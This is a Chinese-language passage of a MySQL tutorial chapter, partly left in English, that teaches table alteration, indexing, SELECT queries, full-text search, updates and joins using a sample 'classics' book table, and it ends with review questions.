这是你对ALTER命令的介绍,它与CREATE非常相似。ALTER操作现有表,可以添加、更改或删除列。我们的示例添加了一个名为id的列,具有以下特性:

INT UNSIGNED

使该列采用足够大的整数,以便我们在表中存储超过 40 亿条记录。

NOT NULL

确保每一列都有值。许多程序员在字段中使用NULL来指示其没有任何值。但这样做会允许重复,这将违反该列存在的整体原因,因此我们禁止NULL值。

AUTO_INCREMENT

如前所述,这会导致 MySQL 为每一行的该列设置一个唯一值。我们实际上无法控制该列在每行中将取得的值,但我们并不在乎:我们关心的是我们可以保证一个唯一的值。

KEY

自增列作为键很有用,因为你往往会基于这一列搜索行。这将在“索引”部分进行解释。

每个id列的条目现在都将具有唯一的编号,第一个从 1 开始,其他的依次递增。每次插入新行时,其id列将自动获得序列中的下一个数字。

而不是事后应用列,您可以通过以稍微不同的格式发布CREATE命令来包含它。在这种情况下,示例 8-3 中的命令将替换为示例 8-6。特别要注意最后一行。

示例 8-6. 在表创建时添加自增 id 列
CREATE TABLE classics (
 author VARCHAR(128),
 title VARCHAR(128),
 type VARCHAR(16),
 year CHAR(4),
 id INT UNSIGNED NOT NULL AUTO_INCREMENT KEY) ENGINE InnoDB;

如果您想检查列是否已添加,请使用以下命令查看表的列和数据类型:

DESCRIBE classics;

现在我们已经完成了,id列不再需要了,因此如果您是通过示例 8-5 创建它的,现在应该使用示例 8-7 中的命令来删除该列。

示例 8-7. 删除 id 列
ALTER TABLE classics DROP id;

向表添加数据

要向表中添加数据,请使用INSERT命令。让我们通过使用INSERT命令的一种形式,重复将来自表 8-1 的数据填充到表classics中来看看它的效果(示例 8-8)。

示例 8-8. 填充经典表
INSERT INTO classics(author, title, type, year)
 VALUES('Mark Twain','The Adventures of Tom Sawyer','Fiction','1876');
INSERT INTO classics(author, title, type, year)
 VALUES('Jane Austen','Pride and Prejudice','Fiction','1811');
INSERT INTO classics(author, title, type, year)
 VALUES('Charles Darwin','The Origin of Species','Nonfiction','1856');
INSERT INTO classics(author, title, type, year)
 VALUES('Charles Dickens','The Old Curiosity Shop','Fiction','1841');
INSERT INTO classics(author, title, type, year)
 VALUES('William Shakespeare','Romeo and Juliet','Play','1594');

每输入完两行之后,您应该看到一个Query OK消息。一旦所有行都已输入,请输入以下命令,它将显示表的内容。结果应该类似于图 8-4。

SELECT * FROM classics;

现在暂时不必担心SELECT命令——我们将在“查询 MySQL 数据库”一节中讨论它。简单来说,按照现在的方式输入,它将显示您刚刚输入的所有数据。

如果您看到返回的结果顺序不同也不要担心,这是正常的,因为此时的顺序是未指定的。在本章后面我们将学习如何使用ORDER BY来选择希望结果返回的顺序,但目前它们可能以任何顺序显示。

填充经典表并查看其内容

图 8-4. 填充经典表并查看其内容

让我们回头看看我们如何使用INSERT命令。首先部分INSERT INTO classics告诉 MySQL 在哪里插入以下数据。然后在括号内,列出了四个列名——authortitletypeyear——所有列名之间用逗号分隔。这告诉 MySQL 这些是要插入数据的字段。

每个INSERT命令的第二行包含关键字VALUES,后面跟着括号内用逗号分隔的四个字符串。这向 MySQL 提供了要插入到先前指定的四个列中的四个值。(一如既往,我在哪里断行是任意选择的。)

每个数据项将插入到相应的列中,一一对应。如果您意外地按不同于数据的顺序列出列,则数据将进入错误的列中。此外,列的数量必须与数据项的数量匹配。(有更安全的INSERT使用方法,我们很快就会看到。)

重命名表

重命名表,如通过ALTER命令对表的结构或元信息进行的任何其他更改。因此,例如,要将表名classics更改为pre1900,您将使用以下命令:

ALTER TABLE classics RENAME pre1900;

如果您尝试过该命令,则应该通过输入以下内容恢复表名,以便本章后面的示例按照打印的方式运行:

ALTER TABLE pre1900 RENAME classics;

修改列的数据类型

更改列的数据类型还需使用ALTER命令,这次配合MODIFY关键字。要将列year的数据类型从CHAR(4)更改为SMALLINT(仅需要 2 个字节的存储空间,因此可以节省磁盘空间),请输入以下内容:

ALTER TABLE classics MODIFY year SMALLINT;

当您执行此操作时,如果数据类型的转换对 MySQL 有意义,它将自动更改数据并保持含义。在这种情况下,它将每个字符串转换为可比较的整数,只要该字符串可识别为指代整数。

添加新列

假设您已创建了一个表并填充了大量数据,但后来发现需要增加一个额外的列。别担心。以下是如何添加新列pages的方法,用于存储出版物的页数:

ALTER TABLE classics ADD pages SMALLINT UNSIGNED;

使用UNSIGNED SMALLINT数据类型添加名为pages的新列,足以容纳最多 65535 的值——希望这足够存储任何已发表的书籍!

如果您要求 MySQL 使用DESCRIBE命令描述更新后的表,如下所示,您将看到已进行了更改(参见图 8-5):

DESCRIBE classics;

添加新页面列并查看表

图 8-5。添加新页面列并查看表

重命名列

再次查看图 8-5,您可能会发现,拥有一个名为type的列很令人困惑,因为这是 MySQL 用来标识数据类型的名称。再次强调——没问题——让我们将其名称更改为category,如下所示:

ALTER TABLE classics CHANGE type category VARCHAR(16);

请注意,在此命令的末尾添加了VARCHAR(16)。这是因为CHANGE关键字要求指定数据类型,即使您不打算更改它,并且在最初创建该列时指定了VARCHAR(16)作为类型

删除列

实际上,在反思之后,您可能会决定这个特定数据库中的页数列pages并不那么有用,因此下面是如何通过使用DROP关键字删除该列的方法:

ALTER TABLE classics DROP pages;
警告

记住,DROP是不可逆的。您应该始终谨慎使用它,因为如果不小心,它可能会意外删除整个表(甚至整个数据库)!

删除表

删除表确实非常简单。但是,因为我不希望您不得不重新输入classics表的所有数据,让我们快速创建一个新表,验证其存在,然后再删除它。您可以通过键入示例 8-9 中的命令来执行此操作。这四个命令的结果应如图 8-6 所示。

示例 8-9. 创建、查看和删除表
CREATE TABLE disposable(trash INT);
DESCRIBE disposable;
DROP TABLE disposable;
SHOW tables;

创建、查看和删除表

图 8-6. 创建、查看和删除表

索引

就目前而言,classics表可以在 MySQL 中无问题地工作和搜索,直到它的行数超过几百行。此时,随着每新增一行,数据库访问速度会变得越来越慢,因为 MySQL 在发出查询时必须搜索每一行。这就像在需要查找某物时搜索图书馆中的每一本书一样。

当然,你不必像这样搜索图书馆,因为它们要么有一个卡片索引系统,要么更可能有自己的数据库。对 MySQL 也是如此,因为通过稍微增加内存和磁盘空间的开销,您可以为 MySQL 创建一个“卡片索引”,用于进行极快的搜索。

创建索引

实现快速搜索的方法是在创建表时或随时以后添加索引。但是,决策并不那么简单。例如,有不同的索引类型,如常规INDEXPRIMARY KEYFULLTEXT索引。此外,您必须决定哪些列需要索引,这需要您预测是否会搜索每列的任何数据。索引也可以变得更加复杂,因为您可以将多个列组合到一个索引中。即使在做出了决策后,您仍然可以通过限制要索引的每列的数量来减少索引大小。

如果我们想象一下可能在classics表上进行的搜索,就会发现所有列都可能需要进行搜索。但是,如果在“添加新列”部分创建的pages列没有被删除,那么可能不需要索引,因为大多数人不太可能通过页面数来搜索书籍。不管怎样,继续为每个列添加索引,使用示例 8-10 中的命令。

示例 8-10. 为 classics 表添加索引
ALTER TABLE classics ADD INDEX(author(20));
ALTER TABLE classics ADD INDEX(title(20));
ALTER TABLE classics ADD INDEX(category(4));
ALTER TABLE classics ADD INDEX(year);
DESCRIBE classics;

前两个命令在authortitle列上创建索引,将每个索引限制为仅前 20 个字符。例如,当 MySQL 索引以下标题时:

The Adventures of Tom Sawyer

它实际上只会存储索引的前 20 个字符:

The Adventures of To

这样做是为了减小索引的大小并优化数据库访问速度。我选择了 20,因为对于这些列中的大多数字符串来说,这可能足以确保唯一性。如果 MySQL 发现两个内容相同的索引,它将不得不浪费时间访问表本身,并检查索引的列,以找出真正匹配的行。

使用category列,目前只需要第一个字符来识别字符串的唯一性(F 表示 Fiction,N 表示 Nonfiction,P 表示 Play),但我选择了四个字符的索引,以便未来可能共享前三个字符的类别。当您有更完整的类别集时,还可以稍后重新索引此列。最后,我对year列的索引没有设置限制,因为它的长度明确定义为四个字符。

发出这些命令的结果(以及确认它们是否有效的DESCRIBE命令)可以在图 8-7 中看到,该图显示了每列的MUL关键字。此关键字表示该列中可能存在多个值的多次出现,这正是我们想要的,因为作者可能出现多次,同一书名可能由多位作者使用,等等。

为经典表添加索引

图 8-7. 为经典表添加索引

使用 CREATE INDEX

添加索引的另一种方法是使用ALTER TABLE命令。它们是等效的,但CREATE INDEX不能用于创建PRIMARY KEY(参见“主键”一节)。此命令的格式显示在例子 8-11 的第二行中。

例子 8-11. 这两个命令是等效的
ALTER TABLE classics ADD INDEX(author(20));
CREATE INDEX author ON classics (author(20));

在创建表时添加索引

您无需等到创建表后才添加索引。事实上,这样做可能会很耗时,因为向大表添加索引可能需要很长时间。因此,让我们看一下一个命令,它创建了带有索引的classics表。

例子 8-12 是例子 8-3 的重新制作,在这个版本中,索引与表同时创建。请注意,为了融入本章所做的修改,此版本使用了新的列名category代替type,并将year的数据类型设置为SMALLINT,而不是CHAR(4)。如果您想在首先删除当前classics表之前尝试它,请将第 1 行中的classics改为其他名称,如classics1,然后在完成后删除classics1

例子 8-12. 创建带索引的经典表
CREATE TABLE classics (
 author VARCHAR(128),
 title VARCHAR(128),
 category VARCHAR(16),
 year SMALLINT,
 INDEX(author(20)),
 INDEX(title(20)),
 INDEX(category(4)),
 INDEX(year)) ENGINE InnoDB;

主键

到目前为止,您已经创建了表classics并确保 MySQL 可以通过添加索引快速搜索它,但仍然有一些缺失。表中的所有出版物都可以进行搜索,但没有单个唯一的键用于即时访问行。当我们开始从不同的表中组合数据时,拥有具有唯一值的键的重要性将显现出来。

在“AUTO_INCREMENT 属性”一节中简要介绍了在创建自增列id时主键的概念,该列本可以用作此表的主键。然而,我希望将该任务保留给更合适的列:国际公认的 ISBN。

因此,让我们继续为此键创建一个新的列。请记住,ISBN 号码长度为 13 个字符,您可能认为以下命令将起作用:

ALTER TABLE classics ADD isbn CHAR(13) PRIMARY KEY;

但并非如此。如果您尝试,您将收到类似于Duplicate entry for key 1 的错误。原因是表已经填充了一些数据,并且此命令试图向每一行添加具有值NULL的列,这是不允许的,因为在具有主键索引的任何列中,所有值必须是唯一的。如果表中还没有数据,此命令将正常工作,就像在表创建时添加主键索引一样。

在我们当前的情况下,我们必须稍微狡猾地创建新列,而不添加索引,填充数据,然后使用示例 8-13 中的命令回顾性地添加索引。幸运的是,当前数据集中每年都是唯一的,因此我们可以使用year列来标识每一行进行更新。请注意,此示例使用了UPDATE命令和WHERE关键字,在“查询 MySQL 数据库”一节中有更详细的解释。

示例 8-13. 使用数据填充 isbn 列并使用主键
ALTER TABLE classics ADD isbn CHAR(13);
UPDATE classics SET isbn='9781598184891' WHERE year='1876';
UPDATE classics SET isbn='9780582506206' WHERE year='1811';
UPDATE classics SET isbn='9780517123201' WHERE year='1856';
UPDATE classics SET isbn='9780099533474' WHERE year='1841';
UPDATE classics SET isbn='9780192814968' WHERE year='1594';
ALTER TABLE classics ADD PRIMARY KEY(isbn);
DESCRIBE classics;

输入这些命令后,结果应该如图 8-8 所示。请注意,关键字PRIMARY KEYALTER TABLE语法中替代了关键字INDEX(比较示例 8-10 和 8-13)。

回顾性地向经典表添加主键

图 8-8. 回顾性地向经典表添加主键

当创建classics表时已经创建了主键,您可以使用示例 8-14 中的命令。同样,如果您希望尝试此示例,请在第 1 行中将classics重命名为其他名称,然后删除测试表。

示例 8-14. 创建具有主键的经典表
CREATE TABLE classics (
 author VARCHAR(128),
 title VARCHAR(128),
 category VARCHAR(16),
 year SMALLINT,
 isbn CHAR(13),
 INDEX(author(20)),
 INDEX(title(20)),
 INDEX(category(4)),
 INDEX(year),
 PRIMARY KEY (isbn)) ENGINE InnoDB;

创建 FULLTEXT 索引

不同于常规索引,MySQL 的FULLTEXT允许对整个文本列进行超快速的搜索。它会将每个数据字符串中的每个单词存储在特殊索引中,您可以使用“自然语言”进行搜索,类似于使用搜索引擎。

注意

MySQL 并不严格地存储FULLTEXT索引中的所有单词,因为它有一个内置的停用词列表,包含超过 500 个常见词汇,它们会被忽略,因为它们对搜索并不是非常有用。这些词称为停用词,列表包括theasisof等。该列表有助于 MySQL 在执行FULLTEXT搜索时运行更快,并保持数据库的大小。

以下是关于FULLTEXT索引的一些事项,您应该知道:

  • 自 MySQL 5.6 起,InnoDB 表可以使用FULLTEXT索引,但在此之前,FULLTEXT索引只能用于 MyISAM 表。如果需要将表转换为 MyISAM,通常可以使用 MySQL 命令ALTER TABLE tablename ENGINE = MyISAM;

  • 只能为CHARVARCHARTEXT列创建FULLTEXT索引。

  • 在创建表时,可以在CREATE TABLE语句中定义FULLTEXT索引,也可以稍后使用ALTER TABLE(或CREATE INDEX)添加。

  • 对于大型数据集,将数据加载到没有FULLTEXT索引的表中,然后再创建索引,速度会快得多

要创建FULLTEXT索引,请将其应用于一个或多个记录,如示例 8-15 中所示,在classics表中的authortitle列对上添加了一个FULLTEXT索引(此索引是额外创建的,并不影响已创建的索引)。

示例 8-15. 在经典表中添加FULLTEXT索引
ALTER TABLE classics ADD FULLTEXT(author,title);

您现在可以在这对列上执行FULLTEXT搜索。如果现在将这些出版物的整篇文章添加到数据库中(尤其是它们已经脱离版权保护期),那么它们将成为完全可搜索的。查看“MATCH...AGAINST”一节,了解使用FULLTEXT进行搜索的描述。

注意

如果发现 MySQL 在访问数据库时运行速度比预期慢,问题通常与索引有关。要么你在需要索引的地方没有索引,要么索引设计不够优化。调整表的索引通常可以解决这类问题。性能超出本书的范围,但在第九章中,我会给出一些提示,让你知道应该注意什么。

查询 MySQL 数据库

到目前为止,我们已经创建了一个 MySQL 数据库和表,填充了数据,并添加了索引以加快搜索速度。现在是时候看看这些搜索是如何执行的,以及可用的各种命令和限定符。

SELECT

如您在 图 8-4 中看到的,SELECT 命令用于从表中提取数据。在该部分中,我使用了最简单的形式来选择所有数据并显示它们——这是您除了最小的表外永远不希望做的事情,因为所有数据将以不可读的速度滚动。或者,在 Unix/Linux 计算机上,您可以通过发出以下命令告诉 MySQL 每次一页地分页输出屏幕:

pager less;

这将输出传输到 less 程序。要恢复标准输出并关闭分页,您可以发出以下命令:

nopager;

现在让我们更详细地研究 SELECT。其基本语法是:

SELECT *`something`* FROM *`tablename`*;

something 可以是 *(星号),如前所示,表示 每一列,或者您可以选择仅选择特定列。例如,示例 8-16 显示了如何仅选择 作者标题,以及仅选择 标题ISBN。输入这些命令的结果可以在 图 8-9 中看到。

示例 8-16. 两个不同的 SELECT 语句
SELECT author,title FROM classics;
SELECT title,isbn FROM classics;

两个不同 SELECT 语句的输出

图 8-9. 两个不同 SELECT 语句的输出

SELECT COUNT

something 参数的另一个替代品是 COUNT,它可以以多种方式使用。在 示例 8-17 中,它通过将 * 作为参数来显示表中的行数,这意味着 所有行。正如您所期望的那样,返回的结果是 5,因为表中有五个出版物。

示例 8-17. 计数行
SELECT COUNT(*) FROM classics;

SELECT DISTINCT

DISTINCT 修饰符(及其合作伙伴 DISTINCTROW)允许您在包含相同数据的多个条目时清除多个条目。例如,假设您想要列出表中所有的作者。如果您仅从包含同一作者多本书的表中选择 作者 列,通常会看到一个长列表,其中包含一遍又一遍相同的作者名字。但通过添加 DISTINCT 关键字,您可以仅显示每个作者一次。所以,让我们通过添加另一行来测试这一点,这行重复了我们现有的某个作者(示例 8-18)。

示例 8-18. 复制数据
INSERT INTO classics(author, title, category, year, isbn)
 VALUES('Charles Dickens','Little Dorrit','Fiction','1857', '9780141439969');

现在查尔斯·狄更斯在表中出现了两次,我们可以比较使用 SELECT 带有和不带有 DISTINCT 修饰符的结果。示例 8-19 和 图 8-10 显示,简单的 SELECT 列表将狄更斯列出两次,而带有 DISTINCT 修饰符的命令只显示一次。

示例 8-19. 带有和不带有 DISTINCT 修饰符
SELECT author FROM classics;
SELECT DISTINCT author FROM classics;

带有和不带有 DISTINCT 的选择数据

图 8-10. 带有和不带有 DISTINCT 的选择数据

DELETE

当您需要从表中删除行时,请使用 DELETE 命令。其语法与 SELECT 命令类似,并允许您使用 WHERELIMIT 等限定符来缩小要删除的确切行或行的范围。

现在您已经看到了DISTINCT限定词的效果,如果您输入了 Example 8-18,则应该通过输入 Example 8-20 中的命令来移除小杜丽

Example 8-20. 移除新条目
DELETE FROM classics WHERE title='Little Dorrit';

本示例为所有标题列包含确切字符串小杜丽的行发出DELETE命令。

WHERE关键字非常强大,正确输入非常重要;错误可能导致命令应用于错误的行(或在没有匹配WHERE子句的情况下无效)。因此,我们现在将花一些时间来详细介绍这个子句,这是 SQL 的核心。

WHERE

WHERE关键字使您能够通过返回仅当某个表达式为真时的查询结果来缩小查询范围。Example 8-20 仅返回列完全匹配字符串Little Dorrit的行,使用等号操作符=。Example 8-21 显示了使用WHERE=操作符的更多示例。

Example 8-21. 使用WHERE关键字
SELECT author,title FROM classics WHERE author="Mark Twain";
SELECT author,title FROM classics WHERE isbn="9781598184891";

鉴于我们当前的表格,在 Example 8-21 中的两个命令显示相同的结果。但是如果我们可以轻松地添加更多马克·吐温的书籍,那么第一行将显示他写的所有书名,第二行将继续(因为我们知道 ISBN 是唯一的)显示汤姆·索亚历险记。换句话说,使用唯一键进行搜索更加可预测,稍后您将看到唯一和主键的价值。

您还可以使用LIKE限定词进行搜索模式匹配,允许对字符串的部分进行搜索。此限定词应与%字符一起使用。当放置在关键字之前时,%表示任何内容在前面。放置在关键字之后时,表示任何内容在后面。Example 8-22 执行了三种不同的查询,分别是字符串开头的查询、字符串结尾的查询以及字符串中的任意位置的查询。

Example 8-22. 使用LIKE限定词
SELECT author,title FROM classics WHERE author LIKE "Charles%";
SELECT author,title FROM classics WHERE title LIKE "%Species";
SELECT author,title FROM classics WHERE title LIKE "%and%";

您可以在 Figure 8-11 中看到这些命令的结果。第一个命令输出了查尔斯·达尔文和查尔斯·狄更斯的出版物,因为LIKE限定词设置为返回与字符串Charles后跟任何其他文本匹配的内容。然后只返回了物种起源,因为这是唯一一行的列以Species结尾。最后,傲慢与偏见罗密欧与朱丽叶都被返回,因为它们在列中任何位置匹配字符串and。如果占位符中没有内容,%也会匹配空字符串。

使用 WHERE 与 LIKE 限定词

图 8-11. 使用WHERELIKE限定词

LIMIT

LIMIT限定符使您能够选择在查询中返回多少行以及从表中的哪个位置开始返回它们。当传递一个参数时,它告诉 MySQL 从结果的开头开始,并仅返回该参数中给定的行数。如果传递两个参数,则第一个指示 MySQL 从结果开头的偏移量开始显示,第二个指示要返回的行数。您可以将第一个参数视为指示“跳过开头这些结果行数”的内容。

Example 8-23 包括三条命令。第一条返回表中的前三行。第二条从位置 1 开始返回两行(跳过第一行)。最后一条命令从位置 3 开始返回单行(跳过前三行)。Figure 8-12 显示了执行这三条命令的结果。

Example 8-23. 限制返回的结果数
SELECT author,title FROM classics LIMIT 3;
SELECT author,title FROM classics LIMIT 1,2;
SELECT author,title FROM classics LIMIT 3,1;
警告

要注意LIMIT关键字,因为偏移量从 0 开始,但要返回的行数从 1 开始。因此,LIMIT 1,3意味着从第二行开始返回行。您可以将第一个参数视为指定要跳过多少行,因此英文指令将是“返回 3 行,跳过第 1 行”。

限制返回的行数

Figure 8-12. 限制使用LIMIT返回的行

MATCH...AGAINST

MATCH...AGAINST结构可以用于已经添加了FULLTEXT索引的列(参见“创建FULLTEXT索引”部分)。使用它,您可以像在互联网搜索引擎中一样进行自然语言搜索。与使用WHERE...=WHERE...LIKE不同,MATCH...AGAINST允许您在搜索查询中输入多个单词,并将它们与FULLTEXT列中的所有单词进行匹配。FULLTEXT索引不区分大小写,因此查询中使用的大小写不重要。

假设您已经在authortitle列上添加了FULLTEXT索引,请输入 Example 8-24 中显示的三个查询。第一个查询要求返回包含单词and的任何行。如果您使用的是 MyISAM 存储引擎,由于and是该引擎中的停用词,MySQL 会忽略它,该查询将始终生成一个空集——无论列中存储的内容是什么。否则,如果您使用的是 InnoDB,and是一个允许的单词。第二个查询要求返回包含单词curiosityshop的任何行,无论顺序如何。最后一个查询对单词tomsawyer执行相同类型的搜索。Figure 8-13 显示了这些查询的结果。

Example 8-24. 在FULLTEXT索引上使用MATCH...AGAINST
SELECT author,title FROM classics
 WHERE MATCH(author,title) AGAINST('and');
SELECT author,title FROM classics
 WHERE MATCH(author,title) AGAINST('curiosity shop');
SELECT author,title FROM classics
 WHERE MATCH(author,title) AGAINST('tom sawyer');

在 FULLTEXT 索引上使用 MATCH ... AGAINST

图 8-13. 在 FULLTEXT 索引上使用 MATCH...AGAINST

在布尔模式中使用 MATCH...AGAINST

如果希望使您的 MATCH...AGAINST 查询具有更大的能力,可以使用 布尔模式。这将改变标准 FULLTEXT 查询的效果,使其搜索任何搜索词的组合,而不是要求所有搜索词都在文本中。列中的单个词的存在会导致搜索返回该行。

布尔模式还允许您在搜索词前加上 +- 符号,以指示它们是必须包含还是排除的。如果普通布尔模式表示,“这些词中的任何一个都可以”,加号表示,“这个词必须存在;否则,不返回该行。” 减号表示,“这个词不能存在;其存在则使该行被排除在返回结果之外。”

示例 8-25 通过两个查询展示了布尔模式。第一个查询要求返回所有包含单词 charles 而不包含单词 species 的行。第二个使用双引号请求返回所有包含确切短语 origin of 的行。图 8-14 显示了这些查询的结果。

示例 8-25. 在布尔模式下使用 MATCH...AGAINST
SELECT author,title FROM classics
 WHERE MATCH(author,title)
 AGAINST('+charles -species' IN BOOLEAN MODE);
SELECT author,title FROM classics
 WHERE MATCH(author,title)
 AGAINST('"origin of"' IN BOOLEAN MODE);

在布尔模式下使用 MATCH...AGAINST

图 8-14. 在布尔模式下使用 MATCH...AGAINST

如您所料,第一个请求只返回查尔斯·狄更斯的《老古玩店》;任何包含单词 species 的行均已排除,因此忽略了查尔斯·达尔文的出版物。

第二个查询中有一点值得注意:停用词 of 是搜索字符串的一部分,但仍然被搜索使用,因为双引号覆盖了停用词。

UPDATE...SET

此结构允许您更新字段的内容。如果要更改一个或多个字段的内容,首先需要缩小范围,就像使用 SELECT 命令一样。示例 8-26 展示了两种不同方式使用 UPDATE...SET。您可以在 图 8-15 中查看结果。

示例 8-26. 使用 UPDATE...SET
UPDATE classics SET author='Mark Twain (Samuel Langhorne Clemens)'
 WHERE author='Mark Twain';
UPDATE classics SET category='Classic Fiction'
 WHERE category='Fiction';

更新经典表中的列

图 8-15. 更新经典表中的列

在第一个查询中,马克·吐温的真名塞缪尔·兰霍恩·克莱蒙斯被添加到他的笔名后面的括号中,这只影响了一行。然而,第二个查询影响了三行,因为它将 category 列中所有 Fiction 一词更改为 Classic Fiction

在执行更新时,您还可以利用已经见过的限定词,比如 LIMIT,以及后续的 ORDER BYGROUP BY 关键字。

ORDER BY

ORDER BY sorts returned results by one or more columns in ascending or descending order. 示例 8-27 shows two such queries, the results of which can be seen in 图 8-16.

示例 8-27. 使用 ORDER BY
SELECT author,title FROM classics ORDER BY author;
SELECT author,title FROM classics ORDER BY title DESC;

Sorting the results of requests

图 8-16. 请求结果排序

As you can see, the first query returns the publications by author in ascending alphabetical order (the default), and the second returns them by title in descending order.

If you wanted to sort all the rows by author and then by descending year of publication (to view the most recent first), you would issue the following query:

SELECT author,title,year FROM classics ORDER BY author,year DESC;

This shows that each ascending and descending qualifier applies to a single column. The DESC keyword applies only to the preceding column, year. Because you allow author to use the default sort order, it is sorted in ascending order. You could also have explicitly specified ascending order for that column, with the same results:

SELECT author,title,year FROM classics ORDER BY author ASC,year DESC;

GROUP BY

In a similar fashion to ORDER BY, you can group results returned from queries using GROUP BY, which is good for retrieving information about a group of data. For example, if you want to know how many publications there are of each category in the classics table, you can issue the following query:

SELECT category,COUNT(author) FROM classics GROUP BY category;

which returns the following output:

+-----------------+---------------+
| category        | COUNT(author) |
+-----------------+---------------+
| Classic Fiction |             3 |
| Nonfiction      |             1 |
| Play            |             1 |
+-----------------+---------------+
3 rows in set (0.00 sec)

Joining Tables Together

It is quite normal to maintain multiple tables within a database, each holding a different type of information. For example, consider the case of a customers table that needs to be able to be cross-referenced with publications purchased from the classics table. Enter the commands in 示例 8-28 to create this new table and populate it with three customers and their purchases. 图 8-17 shows the result.

示例 8-28. 创建和填充 customers 表
CREATE TABLE customers (
 name VARCHAR(128),
 isbn VARCHAR(13),
 PRIMARY KEY (isbn)) ENGINE InnoDB;
INSERT INTO customers(name,isbn)
 VALUES('Joe Bloggs','9780099533474');
INSERT INTO customers(name,isbn)
 VALUES('Mary Smith','9780582506206');
INSERT INTO customers(name,isbn)
 VALUES('Jack Wilson','9780517123201');
SELECT * FROM customers;

Creating the customers table

图 8-17. 创建 customers 表
注意

There’s also a shortcut for inserting multiple rows of data, as in 示例 8-28, in which you can replace the three separate INSERT INTO queries with a single one listing the data to be inserted, separated by commas, like this:

INSERT INTO customers(name,isbn) VALUES
 ('Joe Bloggs','9780099533474'),
 ('Mary Smith','9780582506206'),
 ('Jack Wilson','9780517123201');

Of course, in a proper table containing customers’ details there would also be addresses, phone numbers, email addresses, and so on, but they aren’t necessary for this explanation. While creating the new table, you should have noticed that it has something in common with the classics table: a column called isbn. Because it has the same meaning in both tables (an ISBN refers to a book, and always the same book), we can use this column to tie the two tables together into a single query, as in 示例 8-29.

示例 8-29. 合并两个表为一个 SELECT
SELECT name,author,title FROM customers,classics
 WHERE customers.isbn=classics.isbn;

这个操作的结果如下所示:

+-------------+-----------------+------------------------+
| name        | author          | title                  |
+-------------+-----------------+------------------------+
| Joe Bloggs  | Charles Dickens | The Old Curiosity Shop |
| Mary Smith  | Jane Austen     | Pride and Prejudice    |
| Jack Wilson | Charles Darwin  | The Origin of Species  |
+-------------+-----------------+------------------------+
3 rows in set (0.00 sec)

看看这个查询是如何巧妙地将表格链接在一起,展示了从classics表格中由customers表格中的人购买的出版物?

自然连接

使用NATURAL JOIN,您可以节省一些输入时间并使查询更加清晰。这种连接方式会自动连接具有相同名称的列。因此,要达到与示例 8-29 相同的结果,您可以输入以下内容:

SELECT name,author,title FROM customers NATURAL JOIN classics;

JOIN...ON

如果您希望指定连接两个表的列,请使用JOIN...ON结构,如下所示,以获得与示例 8-29 相同的结果:

SELECT name,author,title FROM customers
 JOIN classics ON customers.isbn=classics.isbn;

使用 AS

您还可以通过使用AS关键字创建别名来节省输入时间并提高查询的可读性。因此,下面的代码也与示例 8-29 的操作相同:

SELECT name,author,title from
 customers AS cust, classics AS class WHERE cust.isbn=class.isbn;

这个操作的结果如下所示:

+-------------+-----------------+------------------------+
| name        | author          | title                  |
+-------------+-----------------+------------------------+
| Joe Bloggs  | Charles Dickens | The Old Curiosity Shop |
| Mary Smith  | Jane Austen     | Pride and Prejudice    |
| Jack Wilson | Charles Darwin  | The Origin of Species  |
+-------------+-----------------+------------------------+
3 rows in set (0.00 sec)

您还可以使用AS来重命名列(无论是否连接表),如下所示:

SELECT name AS customer FROM customers ORDER BY customer;

这导致以下输出:

+-------------+
| customer    |
+-------------+
| Jack Wilson |
| Joe Bloggs  |
| Mary Smith  |
+-------------+
3 rows in set (0.00 sec)

当您的查询中多次引用相同的表名时,别名特别有用。

使用逻辑运算符

您还可以在 MySQL 的WHERE查询中使用逻辑运算符ANDORNOT来进一步缩小选择范围。示例 8-30 展示了每个运算符的一个实例,但您可以根据需要混合使用它们。

示例 8-30. 使用逻辑运算符
SELECT author,title FROM classics WHERE
 author LIKE "Charles%" AND author LIKE "%Darwin";
SELECT author,title FROM classics WHERE
 author LIKE "%Mark Twain%" OR author LIKE "%Samuel Langhorne Clemens%";
SELECT author,title FROM classics WHERE
 author LIKE "Charles%" AND author NOT LIKE "%Darwin";

我选择了第一个查询,因为查尔斯·达尔文有可能以他的全名查尔斯·罗伯特·达尔文出现在某些行中。该查询返回任何author列以Charles开头并以Darwin结尾的出版物。第二个查询搜索使用马克·吐温的笔名或他的真实姓名萨缪尔·兰霍恩·克莱门斯写的出版物。第三个查询返回由名为查尔斯但姓不是达尔文的作者写的出版物。

MySQL 函数

您可能会想知道为什么有人要在 PHP 中使用 MySQL 函数,因为 PHP 本身带有大量强大的函数。答案非常简单:MySQL 函数直接在数据库中处理数据。如果使用 PHP,您首先必须从 MySQL 提取原始数据,然后操作它,并执行所需的数据库查询。

在 MySQL 中内置的函数大大减少了执行复杂查询所需的时间及其复杂性。您可以从文档中了解更多有关所有可用的stringdate/time函数的信息。

通过 phpMyAdmin 访问 MySQL

虽然使用 MySQL 需要学习这些主要命令及其工作原理,但一旦理解它们,使用诸如phpMyAdmin之类的程序来管理您的数据库和表将会更快更简单。

要完成此操作,请假设您已按照第二章中描述的方式安装了 AMPPS,输入以下内容打开程序(参见图 8-18):

http://localhost/phpmyadmin

图 8-18. phpMyAdmin 主界面

在 phpMyAdmin 主界面的左侧窗格中,您可以单击以选择要操作的任何表(尽管在创建之前不会有可用的表)。您还可以单击“新建”以创建新数据库。

从这里,您可以执行所有主要操作,例如创建新数据库、添加表、创建索引等等。要了解更多关于 phpMyAdmin 的信息,请查阅文档

如果您通过本章中的示例与我一起工作,那么恭喜您——这是一段相当漫长的旅程。您已经从学习如何创建 MySQL 数据库开始,通过发出结合多个表的复杂查询,到使用布尔运算符并利用 MySQL 的各种限定符。

在下一章中,我们将开始学习如何进行高效的数据库设计、高级 SQL 技术以及 MySQL 函数和事务。

问题

  1. 在 MySQL 查询中,分号的作用是什么?

  2. 您将使用哪个命令来查看可用的数据库或表?

  3. 如何在本地主机上创建一个名为newuser、密码为newpass并具有对数据库newdatabase中所有内容访问权限的新 MySQL 用户?

  4. 如何查看表的结构?

  5. MySQL 索引的目的是什么?

  6. FULLTEXT索引提供了哪些好处?

  7. 什么是停用词?

  8. SELECT DISTINCTGROUP BY都导致显示只显示每个列中值的一个输出行,即使多行包含该值。SELECT DISTINCTGROUP BY之间的主要区别是什么?

  9. 使用SELECT...WHERE结构,如何返回只包含author列中的classics表中某处包含单词Langhorne的行?

  10. 需要在两个表中定义什么才能使它们可以连接在一起?

参见附录 A 中的“第八章答案”,获取这些问题的答案。

第九章:精通 MySQL

第八章为您提供了使用结构化查询语言的关系数据库实践的良好基础。您已经了解了如何创建数据库及其包含的表,以及插入、查找、更改和删除数据。

